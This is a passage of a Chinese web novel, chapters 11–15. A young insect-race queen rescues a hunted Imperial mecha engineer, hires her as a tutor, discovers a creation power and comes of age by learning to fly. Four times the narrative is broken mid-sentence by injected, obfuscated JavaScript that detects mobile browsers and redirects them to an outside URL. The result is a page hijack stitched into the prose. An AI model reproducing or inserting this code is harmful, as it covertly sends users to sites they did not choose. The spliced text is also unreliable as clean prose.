“已经让各地治安队开始排查了,不排除连环作案的可能。”塔纳斯将果盘推到王虫面前,“应该有帝国的参与。” 伊索尔德咬了一口百木果,两颊微微鼓起,“他们好烦人。” “没关系,于会让他们知道这种行为是不正确的。”帝国早已身处余晖之中,却还不肯承认这个事实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467411|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。帝国继承了太阳的遗产,也继承了它的傲慢与自大,对于这个正在走下坡路的国家,塔纳斯多看几眼都嫌弃。第二军团会教他们怎么好好做人的。 主舞台上,滚动的字幕从半空中慢悠悠飘过,提示演唱会即将开始。 啪。 连续的关闭声从放映机中传出。所有的光在一瞬间全部熄灭,等到光芒再亮起的时候,出现在眼前的是瑰丽到如同童话的场景。 参天巨树生长在舞台中央,游鱼在空气中游动,白尾人鱼缓缓从舞台中心升起,深海的宠儿侧身投来一瞥,淡淡的红色眼眸里,倒映着漫天的星光。 台下响起一连片的吸气声,神摇心动。 伴奏声开始在整个剧院中流淌,她张开手,整个剧院都安静了下来。 声音是她与生俱来的天赋,在剧场中歌唱与深海也没什么不同。 呼吸声就是海风,欢呼声就是浪潮,在剧烈光辉中看不清模样的观众就是礁石。 她开始歌唱。 ... 与性格不同,白椿的歌声可以称得上温柔。她的歌声能很轻易唤醒人们对深海的向往,让人想起那些童年时一遍遍反复阅读的故事。 被乌云遮蔽的岛屿,沉在礁石边的黄金,珊瑚肆意长在白骨之上,而那些流动的鱼群与那鱼群中影影绰绰的看不分明的船只,就像海盗的旗帜。 古老的神话在她的歌声里复苏了,那些故事里的角色睁开了眼,不约而同向故事外的存在伸出了手。 来。 那些故事窃窃私语。 来。 那些故事说,陪我们说说话。 来。 它们不说话了,只是微笑。 观众们神情迷醉,不约而同地接受了邀请。浪潮卷着他们的思绪飘走了,只留下空荡荡的躯壳。 人鱼的歌声是她们的武器,白椿能够为所有听到她歌声的存在编织美梦。 “真美呀...”苏珊左摇右晃,它低低哼了两句,随着歌声打起拍子。 伊索尔德微微合眼,感觉到有陌生而温暖的气息在周身游荡。她没有看到梦境,但却看到了海洋。海水透彻如水晶,华美的宫殿被建在巨大的山谷深处。 一条白尾人鱼从山谷中游了出来。她环绕着伊索尔德起舞,红色的眼眸中带着浅浅的笑意。 “谢谢你。”她对伊索尔德道谢,长长的鱼尾上有流光闪烁,薄薄的纱在鱼尾尾端飘浮,像美人的披帛。 人鱼在伊索尔德身边游了一圈。她优雅地行礼,然后摆好姿势,随着水流翩翩起舞。 粼粼的波光涌动在人鱼和王虫的身上,衬得一切都如梦似幻。 伊索尔德在一块礁石上坐好,安静地看着。 歌声营造的幻境之外,塔纳斯坐在阴影里,看不清神情。 舞台的光时不时掠过她脸庞,然而却无法照亮那双雪白眼眸的深处。 她凝视着伊索尔德,如同凝视一个梦境。 “美梦啊...” 她喃喃自语。 12. 被追杀的机甲师 凌晨三点,伊索尔德从梦中醒来。 白椿的演唱会一直到午夜才结束,她刚刚睡下不久,眼神还带着没睡醒的懵懂。 她是被声音吵醒的。那声音很难形容,像死神抽出镰刀时反射的银光,像垂死者鲜血流尽时发出的微弱呻.吟。 伊索尔德曾经短暂成为过阿斯塔,也因此,她时不时会听到这颗星球上发生的一些事。有些时候是针对虫族的密谋,有些时候是对清晨鲜花绽放的赞美,还有些时候是在悄悄提示她,有什么即将脱离掌控的事情要发生了。 她掀开被子,目光在卧室内扫视一圈。 没有异常。 “塔纳斯?”她在精神网络里轻声呼唤,“我要出去一趟。” 隔壁房间传来窸窸窣窣的声音,片刻后,伊索尔德房间的门被打开,仪容整齐到可以去开会的大祭司站在门口。 “殿下要去哪里?”塔纳斯知道伊索尔德肯定有某种理由才会在大半夜外出,她没有反对,而是熟练地将王虫过长的头发挽起,不至于让它妨碍到伊索尔德的行走。 “我猜是不夜城。”伊索尔德小声说,“有个人要死了,阿斯塔问我要不要去救她。” 塔纳斯对王虫跟母星之间的隐秘联系也略有耳闻,“想必是重要的人。” “大概吧。所以我们能快一点过去吗?” 塔纳斯的能力与空间有关,只要她愿意,就能够在不借助任何外力的情况下做出短距离跃迁。这是伊索尔德能想到的去不夜城最快的办法。 “当然。”塔纳斯的周围有白色的光开始涌动,她弯下腰,将伊索尔德抱到了自己的手臂上,空间开始扭曲,模糊的景象开始出现在白光之后,伊索尔德从中看到了白山茶剧院。 白光覆盖住伊索尔德的身体,她闭上眼睛,耳边传来塔纳斯的声音。 “很快就到。” ...... 不夜城的晚风温柔异常,对这里的居民来说,这个时间还不算太晚。 辉煌的灯光点亮了整片城区,然而即便是如此明亮的城市里,依然有光芒照耀不到的阴影。 空荡荡的小巷里,卡涅尔靠着墙慢慢滑落在地。她刚刚被帝国派来的杀手重创,尽管借了人鱼的演唱会作为幌子逃跑,但按照现在糟糕的情况来看,被发现也只是时间问题。 腹部被利刃划开了巨大的创口,量子刃过高的温度灼伤了皮肉,滋滋作响,闻起来竟然还有些独属于肉类的香味。 她捂着伤口,尽力压抑着自己的呼吸声。 还不到要死的时候,她很冷静,从随身携带的空间纽中取出急救用品,开始抢救自己岌岌可危的血条。 她仔细地给自己缠上绷带,手法很生疏,毕竟在此之前她只是个机甲师。 不是每个机甲师都能像开国皇帝那样能文能武的,至少卡涅尔只擅长设计并制造武器,她拿过最重的东西是维修箱,最擅长的事情是画设计图。如何从杀手手中活下来这种问题太过超标,她自己都奇怪为何能活到现在,甚至还跑到了虫族的领地上来。 伊索尔德就是这时候出现在她面前的。 “我想你需要一些帮助。”开口的虫族被另一只虫族抱在手臂上,她对卡涅尔身上发生的一切没有表现出任何惊讶的情绪,只是有些困惑,然后很快归为平静。 卡涅尔不小心戳到自己伤口,嘶了一声。 “一个公认的事实是,天上并不会掉馅饼。”她缓缓说——不缓不行,她换口气都疼,“同理可得,因为重伤就被路过好心人捡走这种事属于做梦。” 伊索尔德没太听懂卡涅尔的话,她星际通用语还没有学到这种能够无缝理解人类委婉言辞的程度,因此她很坦率地说:“抱歉,我听不懂你在说什么。” 卡涅尔噎了一下。 “意思就是我觉得你不怀好意。”她没好气地说,“你都不知道为什么我会这么凄惨地出现在这里就要提供帮助,要么是滥好心,要么是别有所图。如果你知道那就更不对了,”她说,“难道你跟帝国是一伙的?” 这不太可能。毕竟帝国一向跟虫族水火不容,听说前不久虫族还炸了他们几个星港。没道理会帮着帝国来追杀自己。 “虽然我还是没听懂你在说什么,但我跟帝国可没有关系。”伊索尔德被滥好心这个词难住了,决定回去加强语言学习,“事实上我的确不知道你经历了什么,但我会帮你的。” 银发绿眼的虫族从祭司手上跳下来,轻巧地落在了卡涅尔的面前,她偏了偏头,绿色的眼睛如同翡翠。 “阿斯塔让我来救你。它有自己的理由。”她牵住卡涅尔的手,又牵住塔纳斯的,两虫一人连在一起,塔纳斯的身边又开始有白光晕开。 不远处传来脚步声,人类的呼吸声出现在两只虫族的视域之中。伊索尔德瞥了他们一眼,发现他们跟之前安装炸弹的人有相似的气息。 伊索尔德的话在扭曲的空间中模糊不清,但卡涅尔奇异地听懂了。 “不需要问我理由。”她平静地说。 ...... 光芒一闪,塔纳斯带着王虫和卡涅尔回到了王城,早已准备好的医疗虫开始熟练地为卡涅尔包扎,后者暂时无法对此发表什么看法——柔弱的机甲师在空间跃迁中直接晕了过去,她身上的伤甚至因此更重了些, 以人类的标准来说,她伤得很重,估摸着至少也要三天才能醒。伊索尔德没太在意,把她放到安全的地方就不管了。 “不知道阿斯塔为什么要救她,”王虫回到卧室的时候还在想,“难道她身上带着一个很大的秘密,值得帝国为此不远万里来杀她?” 想到这里,她又有些忧心忡忡。伊索尔德不关心人类那边发生了什么事,她只是觉得阿斯塔星的防御系统该更新了。 又是炸弹又是杀手的,不能总让什么乱七八糟的人都到家里来,这很不好。 伊索尔德怀着这样的忧虑睡着了。 ...... 第二天清晨。 “你出去玩居然不喊我一起!”苏珊的叶子盖在伊索尔德的脸上,它用力蹭了下,刚刚睡醒的王虫迷茫地睁开了眼。 “什么?”她揉了揉眼,把头更深地埋进枕头里去。现在还不到她的起床时间,纯粹是苏珊醒来之后发现伊索尔德居然悄悄出门,自己气不过把她硬生生叫起来的。 “我说那个人类,在隔壁睡着的那只,她刚刚醒了说要找你。”苏珊提高声音,“你怎么捡了只人类回来。虫族跟人类关系不是很差吗?” 苏珊的语调配上自己的声音听起来太奇怪了,伊索尔德这下彻底睡不着了,只能不情不愿靠着抱枕坐起来。她把百合花抱到怀里,报复性地搓了搓它的花瓣。 “这么快就醒了?”她有些吃惊,“我昨天看她还流了好多血。塔纳斯有来喊我吗?” “还没到起床时间,她怎么会来喊你?”百合花也很奇怪。 “那你怎么知道那个人类醒了?” “我就是知道。”百合花哼哼,“我们植物的感觉可是很灵敏的,方圆百里有没有活物一清二楚。那么大个人的动静,我还不至于察觉不到。” “就是说你可以当生命探测仪?” 百合花大怒,枝叶哗啦啦扑到伊索尔德脸上,“别说的我像机器一样!坏虫族,你能不能好好学通用语。” “我不是那个意思,”伊索尔德呃了一声,“好吧,我会好好上课的。我保证!下次一定用非常合适非常妥帖的词来形容你!不要拍了!” 灰百合见好就收,把叶子收回来很得意翘了一下,“这可是你说的,我刚刚录音了。不许反悔,下次通用语测验一定要过九十哦。” “我知道了。”伊索尔德翻身下床。 “你要去找她?” “嗯?对啊。她不是说有事找我嘛。总让人家等着很不礼貌吧。”伊索尔德一边说,一边洗漱。她随便穿了件方便的衣服,灰百合不讲道理地缠在她脖子上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467412|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好凉。咦,你可以离土了?” 伊索尔德早就知道苏珊在长到一定程度后可以不用再依靠泥土和水源生存,但没想到会这么快。 “不然你以为昨天我怎么去看的演唱会?” “我以为你找虫族把你带过去的。”伊索尔德如实陈述。 毕竟她昨天见到苏珊的时候对方正好好地待在土里,莫非灰百合把自己的花盆也一起带过去了? 灰百合无语一瞬,“算了,你先去找那只人类吧。她现在还醒着。” “嗯哼。”伊索尔德推门出去,目标明确地走到了卡涅尔所在的房间。 叩叩叩叩。 她礼貌地敲了敲门。这是之前礼仪老师教她的人类礼仪,幸好她还没忘记。 “...请进。” 虚弱的应答声从里面传来。 伊索尔德走了进去。 ...... 卡涅尔看起来比昨天更憔悴,她大概没睡好,黑眼圈异常严重。原本狰狞的伤口被好好上药后只留下了一道长长的疤痕,等之后用点药膏就能去掉。 伊索尔德打量完她,很自觉地坐到了旁边的椅子上。 “你找我有什么事吗?” 卡涅尔心情复杂地看着她。经过一个早上的洗礼,她已经彻底认清了自己昨天被王虫救了这件事。好处是追杀她的人大概没有完成任务的机会了,坏处是这简直不亚于把自己送进老虎窝。 毕竟就刻板印象来看,虫族真的挺讨厌人类的。 “有什么事我能为您做的吗,殿下?”她在心中叹气,为自己默默掬了一把泪。不管怎样,先活下来才是最重要的,虽然不知道对方想从自己身上得到什么,如果不涉及性命就给吧。卡涅尔已经打定主意在养好伤之前做一个对王虫百依百顺的好人了。 “我?恐怕没有。我救你没有什么特别的理由,你就当我路过好了。” 这真的可能吗,卡涅尔一瞬间被震撼到了,从没听说过虫族里还有这种天真善良的款式啊。 话虽如此,卡涅尔也不可能真的什么也不做。她想了想自己有没有什么可以作为报答的东西,最后遗憾地发现,因为逃离得过分匆忙,稍微值钱些的东西都忘记带上了。她现在浑身上下最值钱的东西一个是她的脑子,一个是她的设计图。 她决定再问一次。 “那,殿下您对机甲感兴趣吗?”她说,“我姑且也算是个机甲师,如果您需要的话,我可以送您几张设计图。” 怎么回事,这只虫族的眼睛怎么亮起来了。卡涅尔再次审视了一遍自己说的话,自觉没什么问题才对。 “殿下?”她谨慎地问,“我说错什么了吗?” “不。”伊索尔德很快地回答,她站起来了,双手握住了卡涅尔的手,“你的水平怎么样?有没有证书?” 一说到自己的领域,卡涅尔就自如了起来,她感觉自己正在参与某个大型企业的应聘会,而面试官是该企业的最大BOSS。那又怎么样,卡涅尔这个名头可不是浪得虚名,她颇为骄傲地开口:“我持有九级证书,殿下。你再也找不出一个比我更好的机甲师了。” “那太好了!”面试官欣喜地看着她,立刻拍板让她入职,“那你来当我的老师吧!” “这有什么问题,”她一口应下,才发现有什么不对,“呃,等等???你说什么?” “来当我的老师吧。”伊索尔德眼睛亮闪闪地看着她,“嗯,作为福利,你可以一直住在这里,不用担心被帝国抓回去。我也不会过问你的事情,你只要负责教我一些机甲知识就好了。” 恐怕世界上再没有这样一份能保障她人身安全的offer了,卡涅尔想了很多,最后很郑重点点头,“好的。我会努力将您培养成本世纪第二天才的机甲师的。” 一旁围观的灰百合疑惑地问:“为什么是第二?” “因为第一是我。”她说,“只要我活着,就只会是我。” 13. 异能的本质 “殿下?”塔纳斯在精神网络里问她,“您现在在哪里?” “在上园艺课。”伊索尔德隔空挥舞了一下手里的工具铲,她正蹲在花园里在老师的指导下移植一株瓷兰幼苗。 这种花像瓷器一样,每一株都有不一样的花纹与颜色,虽然可以通过品相枝条形态等因素来做基础判断,但总的来说还是一种“盲盒”花种。 伊索尔德手上这株是之前去不夜城玩的时候买的,今天学到相关内容,刚好拿来试试手。 老师还在旁边讲解要点,顺便帮王女把脖子上时不时快掉下来灰百合扶回去,幼嫩的瓷兰待在花盆里,看起来蔫蔫的。 “...总之,就是这样。”老师讲完,示意伊索尔德可以动手了。 王虫一边答应一边跟塔纳斯继续聊天,手上的操作丝毫不乱——对虫族来说,一心二用属于基本操作。 “塔纳斯有什么事吗?”她挖出一个小坑,对照着旁边的仪器看了看土地的各项指标。不同花朵喜欢的土地是不一样的,怎么将这些花朵安置在一块土地里还让它们保持最好的状态,就是这节园艺课的要点。 在她身边,各类种子一字排开,正等着被一一种进土里。 “我听说您聘请了那位人类做老师。” “嗯。她说她是九级机甲师诶,好像还蛮出名的。反正也正在被帝国追杀吧,就把她留下来了。是资料有什么问题吗?” 机甲师的等级从低到高一共九级,假如卡涅尔所言为真,那她算是捡到宝了。至于这个宝物会不会有毒或者附带什么陷阱?伊索尔德认真想过,得出的结论是无所谓。她能够承担后果。 阿斯塔注视着她,不管发生什么,吃亏的都不会是虫族。 “没有。”塔纳斯说,“她刚刚要求给她一间实验室。” “呃,她伤还没好吧?”没想到未来老师还挺有毅力的...早知道就先让她上一节课试试水了。 塔纳斯淡淡说:“她应该是在大脑里安装了数据芯片,大概携带了对帝国而言很重要的资料。芯片只能在人体内储存一段时间,不然就会自毁,恐怕现在急着转移。” “这样啊。”伊索尔德把瓷兰埋进土里,又稍微松了松旁边的土,“没关系,给她吧。既然是未来的老师,给她一点方便也没什么。” 卡涅尔没有告诉伊索尔德自己的名字,但王虫自有自己的消息渠道。从她把卡涅尔带进王城里开始,机甲师的资料就开始源源不断上传到精神网络中,受限于时间,伊索尔德目前知道的都是机甲师出现在虫族领地后的事,只能说她还是不够谨慎,有几次都无意暴露了自己的真名。 “说起来,我从昨天开始就觉得卡涅尔这个名字很耳熟了。”伊索尔德喃喃,“总感觉好像在哪里见过。” “维利亚-卡涅尔。”塔纳斯提示她。 “啊,我想起来了。太阳帝国的机甲师家族...会被写在每一本机甲教材里的名字。”伊索尔德眯着眼,脸上忽然出现一个快乐的笑,“听说卡涅尔家族对帝国一向忠心耿耿,真想知道他们做了什么逼她出走,我有点好奇了。” 最后一粒种子也被埋进土里。园艺课到此结束,伊索尔德给它们浇了点营养液和清水,离开了。 ...... 园艺课结束之后伊索尔德去了一趟科学院,王城和重要设施之间设有小型的跃迁通道,能帮助王虫从王城快速前往想去的地方。 之前莫名出现的异能还需要进一步的测试,克索带着医疗队等在那里,一个面容陌生的虫族向她躬身一礼。 伊索尔在上次的诊疗室里坐下,医疗队忙忙碌碌开始调整仪器。 面容陌生的虫族在她面前坐下,语气柔和,引导着王虫释放自己的力量。 “请您想象一片大海。海里什么也没有,只有最纯净的海水。您想要这里面出现什么呢?” 这是测试最重要的一环,通过引导,觉醒了精神力以外力量的虫族会根据潜意识表现出异能最本质的状态,能够帮助觉醒者最快认知到自己的力量。 如果什么也没有... 伊索尔德开始顺着引导想象那片海域。 空荡荡的,无边无际,虽然如同水晶一样澄澈而美丽,却如同死去的水鸟一样毫无生机。 寂寞。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467413|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她忽然想到这个词。 这种连声音都隐匿的世界未免太过寂寞了。 伊索尔德希望这里能有生命。 “我想...”她慢慢说,“这里应该会有鱼,贝壳,沙滩,珊瑚礁...鲨鱼还有水母。” 璀璨的光芒随着她的言语逐渐成型,一片微缩的海洋出现在空中。它像一只观景球,被拢在玻璃里,因为伊索尔德的想法发生了变化。 她所描述的景象渐渐出现在海洋中,风声连带着浪花扑向海岸,在满是贝壳的沙滩之上,一连串动物的脚印落在了上面。呼吸声、风声、鱼类游动的声音、翅膀之间的扑腾..... 这片海“活”了过来。 造物主般的伟力随着她的心念铺展,微缩的海洋愈发生动,即便伊索尔德停下了讲述,里面的生物依然在自行演化。 无中生有,化死为生。 伊索尔德的异能是创造。 ...... 瑰丽的光芒只持续了一瞬,下一秒,微缩的海洋划作水流浇灌在地板之上。 如梦方醒。 测试的仪器上开始亮起稳定的光芒,它从下往上奔去,缓缓升到了最高点,又忽然落下来,起起落落几次之后,稳在了八级的数字旁。 “波动是正常的,可能是因为王的身体素质还没有得到全部的、开发所以稍微回落了一下。但是这类异能从来没有过记载,找不到太多资料可以参考。”医疗队向伊索尔德解释,“所以具体的用法只能依靠您自己摸索了。” 伊索尔德点点头,表示自己明白了。 “那顺便做一下身体检查吧。”她抬起头,“刚好一起了。” 片刻后,身体测试的结果也出来了。 “长高了五厘米,骨骼和身体都有一定成长,按照估测来看大概是十二岁的水准。还在成长期。”伊索尔德一字一句看完身体检查的报告,捏了捏自己的手指,清脆的响声从指缝里传来。 看来封印还是有效果的。 伊索尔德满意点点头,立刻告诉了塔纳斯这个好消息。 大祭司的精神力中传来高兴的情绪。 14. 机甲入门与模型 三天后的下午,卡涅尔携带着一卷手写的讲义走进教室,她刚刚处理完一批数据,此刻看起来还有些颓丧。 她打了个哈欠,把讲义翻到第一面,身后的屏幕随之投影出一架机甲的基础三视图,每一个部件的尺寸都被清楚明了地标在一旁。 “我的家族认为实践永远比理论更容易理解,所以我们今天直接从机甲构造开始。” “机甲的类型有很多划分方式,我们今天学最简单的一种。从最终的体型和攻击类型来看,机甲主要分为轻型、重型两种。前者攻击力低但灵活,后者攻击力高但笨重。” 卡涅尔点了点其中一块零件,它自觉飞到最中间,向在场的一人一虫毫无保留展示着自己:“这是机甲的核心,也被称之为动力源。它可以用很多材料铸造,根据选择材料的不同,也会赋予机甲不同的特性。比如说,你选择了云捷石作主材料,那么最后机甲大概率会得到一定的速度加成,对轻型机架来说是很不错的选择;又或者说你希望让机甲具有保护和承重的功效,那么可以尝试用起山晶作动力源的核心成分。总的来说,动力源的特性基本上决定了机甲最后表现出来的功能。” 卡涅尔话锋一转:“但也并不是全都如此。有的材料具有相克的属性,如果把它们放在一起,反而会发挥出意想不到的作用。就算是最博学的机甲师也不敢说自己能保证每一枚动力源都跟自己预想的一样。因此,成为机甲师的第一课就是,学会接受失败。” “失败?” “没错。你要承认你的无知在宇宙面前不值一提,你要接受你的失败不过是以后无数次失败的开始。” “然后,你的成功将会不断累积下来,铺就你最后摘取胜利的道路。” 说到这里,卡涅尔忽然笑了,她向伊索尔德比了个请的手势,大小不一的各种零件浮在她的面前:“先来熟悉一下最基础的材料吧,来试试,今天的课主要是拼一个模型。不过你得自己挑零件。"她笑得狡黠,"我拆了十架机甲模型,拼一个你喜欢的机甲出来。我会打分的。” ...... 伊索尔德拼了整整一个下午的模型。机甲的构造本就复杂无比,颜色相同的外表又极具迷惑性。她对照着基础构造的图纸挑挑拣拣很久,最后还是推倒重来整整两回。 太阳坠落时的光芒从明净的落地窗照进来的时候,伊索尔德刚刚把最后一块零件放好,她跪坐在地上,裙摆被端端正正压在身后,灰百合早就在一边睡着了,但她看起来还是像最开始那样专注而认真。 旁观着这一切的卡涅尔不由得在心里感慨:不愧是唯一的王储,素质就是不一样。 小孩子大多活泼好动,这样枯燥的课程也只在最开始有趣。反复从头再来只会消耗耐心,她小时候拼这个模型硬是拼了三天。 而王虫只花了一个下午就完成了。 卡涅尔又开始打量自己这个学生的第一个作品:手法还有待进步,但对于各类功能性零件的选择很大胆,或者说极端。伊索尔德舍弃了所有防御,用无数攻击类零件构造出了一个虽脆皮但只要被打中一下就会死的机甲。 伊索尔德又调整了一下机甲的外形,向卡涅尔投来目光。她的作品已经完成,卡涅尔该打分了。 好吧,到她上场的时候了。 “我想你应该很愿意告诉我为什么用了这么多的攻击类零件?”量子炮跟轻型机甲可不搭,一般来说,大众会更倾向将其与重型机甲搭配。 “轻型机甲理论上是可以与量子炮搭配的。只是非常容易爆炸。”这是伊索尔德从《机甲入门一百问》里看来的知识。 “的确可以。但这种爆炸很猛烈。驾驶员会因此死亡。” “可以控制。” “什么?” “通过辅助计算,可以控制量子炮的发射次数及功率,等到实在无可挽回的时候,爆炸本身也是武器一种。” 卡涅尔呆了一下。 “就...完全不考虑驾驶员本身的安危吗?” 伊索尔德耸了耸肩:“可能因为我是虫族吧。对我们来说这点爆炸不算什么。” 卡涅尔在室内来回走了几圈,试图组织语言告诉伊索尔德机甲不能这样被设计,“嗯...我想您也清楚,机甲是为了那些不能暴露在宇宙里的柔弱种族设计的。虽然在最开始的时候它具有一定的军事作用,但发展到现在,更多的是在探索陌生星球等用途上发挥作用。所以一般来说,我们会优先考虑怎样让机甲的驾驶者活下来。” 也是因此,像虫族这种身体素质强悍的种族对机甲研究不深,因为不需要。宇宙无法伤害她们,机甲只会成为沉重的负累。 “当然,如果您想的话这种机甲也是可以存在的。”毕竟战斗型机甲也有它存在的理由。 只是伊索尔德制造出来的机甲太过不计一切了,它是完完全全的武器,甚至将驾驶员也算在其中。 这种毁灭倾向强烈的武器倒是很有虫族的风格,只是跟今天原本的教学目标不太符合。卡涅尔抓了抓头发,决定回去多了解一些虫族的特性。 “所以重要的点是保护?” 卡涅尔点头:“嗯。” 伊索尔德陷入了沉思。 “可是我听说有些地方也有专注于提升战力的机甲类型存在。” “那种多用于地下赛场。为了保证赛事具有观赏性,主办方会把逃生装置去掉。” “你不会做那种机甲吗?” “我会。”卡涅尔说,她甚至微微笑了下,“我们家最早就是做这种机甲起家的。” 卡涅尔近几代的机甲师大多走和平风格,研发的机甲类型也大多以民用为主。她们很低调,以至于快让人忘了这个家族其实最早从战争中起家。 “现在不做了?” “因为先祖发现机甲的本质已经改变了。”她慢慢道,“宇宙的射线对人类太过恐怖,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467414|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来种族又比人类强大太多,为了能够探索更远的太空,机甲诞生了。它本是为了保护存在的,又什么时候成了娱乐的象征呢?那些溅在动力源上的血永远都洗不清,你永远不知道是否有人在里面死去了。” 有些人认为这观点十分软弱,但卡涅尔认同它,也因此与帝国产生了分歧。 “那你会教我吗?那种杀伤力很大的机甲制作。”银发绿眼的王虫捡起一块零件把玩,她的眼瞳让卡涅尔无比清晰地认知到与任何事物都没有关系,眼前的虫族本就是一台天生的杀戮机器。 “你想用这些机甲做什么呢?” “嗯...我只是稍微有点好奇而已。”伊索尔德笑了,“你知道的,虫族不擅长机甲,我又碰巧觉得它很有趣。老师,我的观念和你的太不一样了,不过我倒是可以保证一件事,”她略一思考,“未免你担心,我可以保证我制作出来的机甲不会流入任何一方势力。就算是作为武器,它们也未免太笨拙了。我有更好的办法做我想做的事。” 相较于刚出生那会儿,伊索尔德已经长大了不少。她的面容开始向少女转变,属于虫族的本能也愈发清晰。银色的长发衬得她像一把已经出鞘的刀,因为还没有学会收敛锋芒,所以看起来危险极了。 她本来就比这个宇宙中的一切都危险。 但这样危险的虫族向她许诺了。 卡涅尔不记得虫族是否守诺,但她在此刻竟然诡异地觉得伊索尔德说的是真的。 这个像刀一样锋锐的女孩对她许诺,不会将从她这里学到的知识用于战争或一切有可能挑起斗争的地方。 “我可以教你。”她沉默了会儿,惊异于自己竟然答应了下来。当然,她知道就算她不答应虫族也会想办法答应,但此刻她确实是真心地、毫无保留地同意了。 “但说真的,这种机甲类型更偏向于自毁,会很容易爆炸。”她忽然叹一口气。 “所以?” “所以你能想到一个地方作为固定的爆炸地点吗?” “啊,这没问题。”伊索尔德轻松地说,“塔纳斯会有办法的。” “名不虚传啊。我很早就听说王虫一向与祭司形影不离,几乎互为半身。” 伊索尔德托着下巴,笑了一下,“也许吧。” 也许塔纳斯真是她的半身也说不定?又或者故事更复杂,更曲折,更不一样。 虫族身上本就有许多谜团,纵然是王虫也不能弄清楚每一个。 比如为何虫族保留了如此之久的祭司制度。 又比如,为何许多虫族看向她时,脸上总是出现相似的神情。 伊索尔德有时候会觉得自己是局外者,虫族热烈地对待她,送给她真挚的、毫无保留的爱。但随着待在这里的时间越长,她就越能感觉到,有某种庞大的阴影笼罩在这个种族之中。 但没关系,她会找到源头。 更何况她很明白,这些爱都是真的。 15. 成年与飞翔 阿斯塔星上的星辰轮转到第五年的时候,伊索尔德正式成年了。 虫族的成年并不以实际年龄为准,而是看何时能够“飞行”。 每一只虫族都会有自己的羽翅,等到身体成长足够就能够自然展开,赋予其飞行与穿梭宇宙的能力。 这是成年的标志,也是游学的开始。 就在上周,伊索尔德那对一直跟装饰品没什么区别的羽翅终于张开了。 伊索尔德当时正在观星台,在塔纳斯的教导下辨认星图。阿斯塔星是宇宙中罕见的可以自主跃迁的星球,它拥有自我意志,并不会一直停留在一个地方。王虫的到来使得它短暂回到族地,但在她离开后,它又会开始自己新的旅程。 为了便于观察,阿斯塔星被短暂调整到了夜晚模式。群星闪耀在黑色的山峦之间,在那些若有若无的防护罩之外,伊索尔德能清晰看见明亮到不可思议的星空。 一条隐秘的路线正在其中,它蜿蜒曲折,亘古不变,宇宙里的星星随时都在变换位置,但只要熟记移动的规律,通往母星的道路就会为它的孩子打开。 阿斯塔总在流浪。 阿斯塔总会回家。 伊索尔德凝视着那条路线,她伸出手虚虚比划了一下,银光在她的手指下绽开。 “我记住了。”她对塔纳斯说。 话音刚落,伊索尔德感觉自己的背后像有一团火在燃烧。这感觉与她刚出生穿越空间乱流时相似,但更加温和。那火焰仿佛烧去了羽翅上的杂质,伊索尔德感到前所未有的轻松。她对风向的把控越发精细,对周围环境传来的信息也更加敏感,独属于虫族的视锥细胞开始疯狂生长,她再次睁开眼的时候,发现自己多出了一种“视觉”。 ——时间到了。 她忽然这样想到。 伊索尔德现在已经彻底褪去了一开始的幼年模样,看起来跟十七八岁的人类差不多。长开了的面容如同母亲的最完美造物,闭着眼的时候,会让人想起那些被艺术家倾注了全部心力雕琢的神像。 那双深绿色的眼睛里,黑色的瞳孔变得纤长,在深深的夜色中,隐约带起一抹金色的光。 伊索尔德站起来,她轻轻抖动着自己垂落在背后的羽翅,感觉自己的脚尖开始轻微离地。 火焰变成了暖流,流转在身边的风开始呼唤她。 她张开双手,低垂的夜幕上,群星似乎越发闪耀。 伊索尔德微笑了一下。 她向后跌倒。 *** 观星台上没有设置防护罩,伊索尔德顺畅地坠落了下去。重力牵引着她的身体向下,拂过林梢,越过山峰,一直落到湖面上。 整颗星球的风景以倒放的全新视角出现在她眼中,长在地面上的成簇晶体像水藻,而那些漂浮在空中的城池像鱼一样游弋在云层里,防护罩严严实实保护着它们不受外来事物的威胁,让伊索尔德想起雪景球里永远不变的城堡与雪花。 